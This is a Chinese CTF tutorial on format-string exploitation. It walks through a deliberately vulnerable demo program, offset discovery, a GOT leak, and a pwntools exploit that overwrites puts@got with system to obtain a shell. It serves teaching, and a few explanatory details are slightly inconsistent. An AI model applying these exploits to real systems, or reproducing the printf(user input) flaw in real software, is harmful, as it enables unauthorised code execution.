1. 写在前面:这期为什么选格式化字符串
PWN这个方向,入门时最先接触的往往是栈溢出,一顿操作把ret地址一改,getshell,成就感拉满。但学到后面你会发现,真正决定你能不能从“脚本小子”变成“能独立解题的选手”的分水岭,其实是格式化字符串漏洞。原因很简单——栈溢出靠的是运气和基本功,格式化字符串靠的是对程序内存布局、参数传递机制和GOT/PLT跳转逻辑的完整理解。
这期是对CTF Wiki的复现+再学习第六期,主题就定在格式化字符串上。CTF Wiki里关于格式化字符串的章节写得算比较全,但当时我看完一遍觉得懂了,做题的时候才发现完全不是那么回事。这期我把Wiki上的核心知识点重新过了一遍,配合自己手写的Demo和两道经典题目,把从“原理”到“利用”的过程完整走了一遍。这篇内容就是这次的完整记录,包含环境配置、漏洞原理拆解、实际利用步骤和调试中踩过的坑,适合学完栈溢出、准备进阶格式化字符串的PWN新手,也适合想在比赛前快速回顾这个知识点的选手。
先说结论:格式化字符串漏洞的本质是printf家族函数在参数个数不匹配时,会直接从栈上按默认规则取数。利用方式就两种——任意地址读和任意地址写。前者用来泄露地址,后者用来修改关键跳转点。整个利用过程可以拆成三步:找偏移、选目标、构造payload。看起来简单,但每一步都有很多细节,任何一个环节出了问题,程序就崩给你看。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与工具链复盘点
2.1 系统与基础工具
这次复现我用的还是Ubuntu 22.04,64位系统。虽然格式化字符串是老漏洞,但工具链的稳定性直接决定调试效率,环境这块建议一次配好。
- 系统:Ubuntu 22.04 LTS
- Python 3.10+ (自带)
- pwntools:pip install pwntools
- gdb:sudo apt install gdb
- pwndbg:GitHub上clone后执行setup.sh,强烈推荐
- checksec:pwntools自带,或安装pwntools后直接用
注意:如果之前装过peda,建议和pwndbg二选一。两个插件同时存在会导致gdb启动时加载冲突,调试时命令行为异常,排查起来非常浪费时间。
还有一个容易忽略的点:很多CTF题目是32位程序,所以系统的多架构运行库必须装好。Ubuntu下执行:
bash复制sudo dpkg --add-architecture i386
sudo apt update
sudo apt install libc6:i386 libncurses5:i386 libstdc++6:i386
不装这步,32位程序跑不起来,后面所有调试都无从谈起。
2.2 一个趁手的调试习惯
PWN调试的核心就三个:看反汇编、看栈、看寄存器。pwndbg把这三样整合得挺好,几个常用命令要养成肌肉记忆:
bash复制checksec # 查看程序保护
info functions # 列出所有函数
disassemble main # 反汇编main函数
stack 20 # 查看栈上20个qword
x/20gx $rsp # 以16进制查看栈区域
b *0x401234 # 在指定地址下断点
c # 继续运行
我在这次复现中的所有偏移计算,都是在pwndbg里反复比对栈布局确认的。这一步省不了,纯靠猜偏移,十个payload九个崩。
2.3 复现用的Demo程序
自己写了一个简单的漏洞程序,用来做格式化字符串的原理验证。代码如下:
c复制#include <stdio.h>
#include <string.h>
#include <unistd.h>
void win() {
puts("You got the flag!");
system("/bin/sh");
}
void vuln() {
char buf[100];
puts("Input your message:");
read(0, buf, 100);
printf(buf); // 漏洞点:直接printf用户输入
puts("");
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
编译命令:
bash复制gcc -m64 -fno-stack-protector -no-pie -o fmt_demo fmt_demo.c
这里关闭了栈保护和PIE,方便先理解原理。等基础掌握之后,再逐步加上PIE、Canary这些防护,难度递增。
3. 格式化字符串漏洞:原理为什么要这么理解
3.1 printf到底是怎么工作的
大多数人学C语言时,printf就是个“按格式输出”的函数,谁会去想它内部怎么实现呢?但PWN里你必须有汇编级的理解。
printf是变参函数,它的调用约定决定了:前6个整数参数依次放在rdi、rsi、rdx、rcx、r8、r9寄存器里,第7个及之后的参数放在栈上。当函数内部解析格式串时,遇到一个%p,就从第一个可用的寄存器取参数;寄存器用完,就开始从栈上取。
问题来了:如果格式串中的占位符数量,多于实际传入的参数数量,printf不会帮你检查,它只会机械地按照“该从哪取就取哪”的规则继续往下读。这时候读到的内容,就是栈上残留的任意数据。
这个行为就是漏洞的根源。你可以把printf理解成一个不看菜单乱上菜的厨子,你说“给我上10道菜”,厨房只有3道菜,它也不会告诉你没有,而是把案板上剩下的半颗白菜也凑数端上来。
基于这个原理,利用方式就清晰了:
- 输入多个%p,观察输出,就能把栈上从某个位置开始的内容泄露出来,这就是任意地址读的雏形。
- 如果栈上某个位置存放着地址,我们可以通过控制%d、%s、%n的解析来读取或改写这个地址指向的内容。
3.2 32位和64位的差异
这一块特别容易搞混,我单独拎出来说。
32位程序,所有参数都在栈上,格式化字符串的参数位置就是栈上的连续布局,偏移从1开始数就行,相对简单。这也是一开始很多人推荐先做32位题目的原因。
64位程序,前6个参数走寄存器,所以当你输入格式化字符串时,printf看到的参数序列是这样的:
- 参数1:rdi —— 实际上就是格式串本身
- 参数2:rsi
- 参数3:rdx
- 参数4:rcx
- 参数5:r8
- 参数6:r9
- 参数7及以后:栈上依次排列
这意味着,你输入的格式化字符串,从%7$p开始才是栈上的内容。当然,因为printf本身被调用时栈上会有返回地址等残留,通过适当的偏移,你可以向前调整offset值,让任意地址读更灵活。
这次复现的关键点之一,就是搞清楚“格式字符串在栈上的位置”和“提供的偏移量”之间的关系。CTF Wiki上给了一个常用的方法:输入一段标记字符串(比如“ABCDEFG%p%p%p...”),根据输出中标记字符串出现的位置,就能推算偏移。
3.3 任意地址写:%n的威力
%n这个转换说明很特殊,它不是输出内容,而是把“当前已经输出的字符数”写入一个地址,这个地址由对应的参数提供。
比如说:
c复制printf("AAAA%n", &x);
执行结束后,x会被写入4,因为前面输出了4个A。
利用这个特性,如果我们能把某个地址放到栈上合适的位置,再用%n往这个地址写一个值,就能实现任意地址写。写4字节用%n,写2字节用%hn,写1字节用%hhn。实际利用中,%hhn最常用,因为精确控制1字节,比控制4字节的整数要容易得多,而且不需要一次性构造巨大的输出量。
写入原理我打一个比方:%n就像是“按当前账单金额付款”。每次输出字符,账单就累加;到%n这里,把账单总额作为金额,填到指定的卡号(地址)里。你想让卡里变成多少,就得控制账单恰好等于这个数字。这就是为什么payload里经常能看到大量的%c和%Xd——它们都是用来精准控制输出长度的工具。
4. 实操:从零走一遍完整利用流程
4.1 第一步:确定栈上的参数偏移
启动程序,输入一个测试串,用gdb观察输出。我写了个小脚本方便快速测试:
python复制from pwn import *
p = process('./fmt_demo')
payload = b'ABCDEFG.' + b'%p.' * 20
p.sendline(payload)
print(p.recvall().decode())
输出结果里会看到一串地址。逐个检查这些地址,找到“0x41424344454647”这种对应ASCII字符“ABCDEFG”的位置。这个位置就是格式串在栈上对应的参数序号。
实际复现时我得到的输出中,标记串出现在第6个%p的位置,因此offset=6。这意味着在64位下,我payload的起始地址正好在printf参数序列的第6个参数位置(也就是r9之后栈上的第一个位置)。
这里有一个非常重要的提示:
如果题目栈上还有其他数据,offset可能不是6,也可能出现输入字符串在栈上有两次拷贝的情况(一个是缓冲区本身,另一个是printf临时使用的传参区)。建议多试几次,以实际gdb观察到的栈布局为准。
4.2 第二步:利用任意地址读泄露地址
拿到offset之后,先做一次“任意地址读”的验证。思路是:把想要读取的地址,放到格式串的对应位置,然后用%s或%n去读它。
比如我想读取GOT表中puts函数的实际地址,先把puts@got(64位下是8字节地址)写入payload起始位置,然后用%s让它解析这个地址指向的内容,就会输出puts在libc中的真实地址。
payload构造:
python复制payload = p64(puts_got) + b'%6$s'
这条payload的原理是:printf解析格式串时,%6$s会从第6个参数的位置取内容,这个位置正好是payload起点的地址,也就是我们写入的puts_got地址,因此%s会把puts_got指向的GOT内容当成字符串输出出来。
输出里是一串乱码,后面跟着一个地址。把前面的乱码去掉,留下的就是puts的实际地址。这就是典型的地址泄露过程。
4.3 第三步:计算libc基址与目标地址
拿到printf函数在libc中的实际地址后,需要知道两件事:
- 本机/libc中puts的偏移
- 本机/libc中system的偏移
然后计算libc基址:
python复制libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
这一步思路和栈溢出返回到system的题目完全一致,核心就是“基址+偏移=实际地址”。实际操作时注意,libc版本要和我系统上的一致,所以在写exp时,我最终直接指定了ubuntu 22.04的libc文件路径。
4.4 第四步:用%hhn实现任意地址写
现在我们要把返回地址或者某个GOT项改写成system的地址。这里有个选择:如果改GOT表,需要确认目标函数是动态链接的,而且程序会再次调用它;如果改返回地址,则需要知道栈上返回地址的具体位置。
CTF Wiki上的经典做法是改GOT表。比如程序在printf之后还会再调用一次puts,那么我就把puts@got改写成system地址,这样下次puts被调用时,实际执行的是system,参数正好是写到栈上的字符串,就相当于system("/bin/sh")。
改写时,用%hhn分两次写入。比如要把地址写成0x7ffff7a52390这样的大数:
- 先算低字节需要写多少。
- 算出当前已输出字符数,控制两者之差,精准累加到目标值。
- 对高字节同样处理,用%hhn写下一个地址。
这个过程是格式化字符串利用的“手工”核心,它不像栈溢出那样直接填地址,而是完全靠“输出计数”来构造内存中的数值。CTF Wiki上把这部分叫做“逐字节写入”,非常形象。
4.5 第五步:组装完整exp
下面是我在复现中实际跑通的完整exp(去掉了本机libc路径的硬编码,改为动态解析):
python复制from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./fmt_demo')
elf = ELF('./fmt_demo')
libc = elf.libc
p.recvuntil(b'Input your message:\n')
# 第一步:泄露puts地址
payload = b'%8$s' + b'XXXX' + p64(elf.got['puts'])
p.sendline(payload)
p.recvuntil(b'XXXX')
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.info('puts addr: ' + hex(puts_addr))
# 计算libc基址
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
log.info('system addr: ' + hex(system_addr))
# 第二步:写puts@got为system
# 目标地址分两个字节写入
puts_got = elf.got['puts']
low = system_addr & 0xffff
high = (system_addr >> 16) & 0xffff
payload = b''
payload += b'%' + str(low).encode() + b'c%9$hn'
payload += b'%' + str((high - low) % 0x10000).encode() + b'c%10$hn'
payload += b'XXXX' + p64(puts_got) + p64(puts_got + 2)
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()
代码里用了两个%hn,每次写2字节,第二次通过取模保证计数差值正确。这个exp在实际测试中稳定跑通,最后能直接弹出shell。
4.6 加练:32位程序与堆上的格式化字符串
64位跑通之后,我还回退做了两道32位题。32位的格式化字符串利用和64位最大不同在于:参数全部在栈上,偏移更容易算,但地址长度只有4字节,注意payload布局时别让地址错位。
另外,我顺手试了一下堆上的格式化字符串。这类题把format字符串放在堆上,字符串地址不能直接由栈上数据推算,需要先用泄露的手法拿到堆地址,再通过偏移指向它。这个思路比赛里很常见,值得专门练习一遍。
5. 调试中踩过的坑与排查技巧
5.1 偏移算错的典型表现
最典型的症状是:程序崩溃在printf内部,说明%s或%n读到了一个非法地址。这时候第一步不要怀疑payload长度,而是回到gdb,在printf处下断点,用x/20gx $rsp看栈布局,核对哪个位置是自己payload的起始地址。
还有一个隐蔽问题:很多新手用x/20gx $rsp看栈,以为偏移就是栈上的行数。实际上printf获取参数有自己的规则,栈上每个参数是8字节(64位),但偏移编号不一定等于行号。一定要结合“第几个参数”来判断,而不是“第几个8字节区块”。
5.2 地址中的特殊字节导致截断
64位地址一般包含0x0a、0x00这类特殊字节。比如0x00007ffff7a52390,在字符串中直接拼接时会因为0x00被strlen截断,导致printf只解析了一部分。
- 解决方案一:利用printf的宽匹配,把地址放在payload末尾,避免影响后续格式串解析。
- 解决方案二:尽量用%hhn做小步写入,因为地址本身要出现在payload里,无法完全避免截断问题时,优先把地址放在末尾。
这是比赛中最容易踩的坑。很多新手看到自己明明算对了地址,却一直复现失败,就是被00字节截断给坑了。
5.3 单字节对齐问题
在64位下,printf在解析格式串时是按8字节对齐的。如果你把一个地址放在格式串中间,地址前面有几个字符未凑齐8字节,printf栈上看到的参数起始位置就会错位,导致所有偏移全部乱套。
解决方法是使用4字节或8字节对齐:先计算前面内容的总长度,手动补齐到8的倍数,再放地址。手动对齐的方式在CTF Wiki里有写,但实际调试时每个人都会忘,我这次也不例外,多亏gdb定位才发现是0x4对齐差了两个字节。
5.4 %c和%Xd的计数陷阱
格式化字符串利用中,%c和%Xd都用来控制输出长度,但有两点必须注意:
- 使用%c时,计数表示输出的字符数(比如%100c表示输出100个字符)。
- 使用%Xd时,X表示最小宽度,不足会补空格,如果实际内容比X长,按实际长度算。
两者混用时,要精确计算累计输出的总字符数。我写exp时习惯每一步都print出来核对,避免心算失误。这里的计算是“审计型”的,必须严谨。CTF Wiki上也专门强调了这个点,算是格式化字符串里的“高精度计算”环节。
5.5 本地能打通,远程打不通的原因
最常见原因是libc版本不一致。本地打通的payload,拿远程环境跑,地址完全对不上,这是所有动态链接PWN题的通病。
比赛时如果给了libc文件,就用它来计算偏移;没给的话,先通过泄露的地址在libc database和libc.rip这样的在线库搜索,确认远程libc版本,再重新计算system的地址。这是我栽过最多跟头的地方,经验之谈,先确认libc再动手。
6. 本期复现心得
这次把CTF Wiki的格式化字符串章节完整复现了一遍,最大的感受是:理论不难,难在把“printf参数从哪来”这个底层逻辑彻底刻进脑子。一旦你理解了printf变参机制和栈上数据布局,格式化字符串就是高级一点的“字典查找+指针读写”。
把时间维度拉长一点看,格式化字符串和栈溢出其实是同一个内核——程序没有严格校验“输入数据”和“控制流数据”之间的边界。栈溢出通过直接覆盖返回地址来控制流,格式化字符串通过越界解析参数来控制流。两者都是经典的“不可信输入污染了可信控制信息”问题。
我建议学到这里的朋友,不要急着刷难题,先把官方Wiki上的示例代码自己编译、调通、利用一遍。调试过程中遇到的每一个崩溃,都是对内存布局理解的又一次加深。这个阶段积累的手感,后面学堆利用时会有大用。
第六期就到这里,下期我计划把CTF Wiki里“栈迁移”和“SROP”的知识点一起过一遍,这两块和格式化字符串结合得非常紧,比赛里经常同场出现。到时候见。
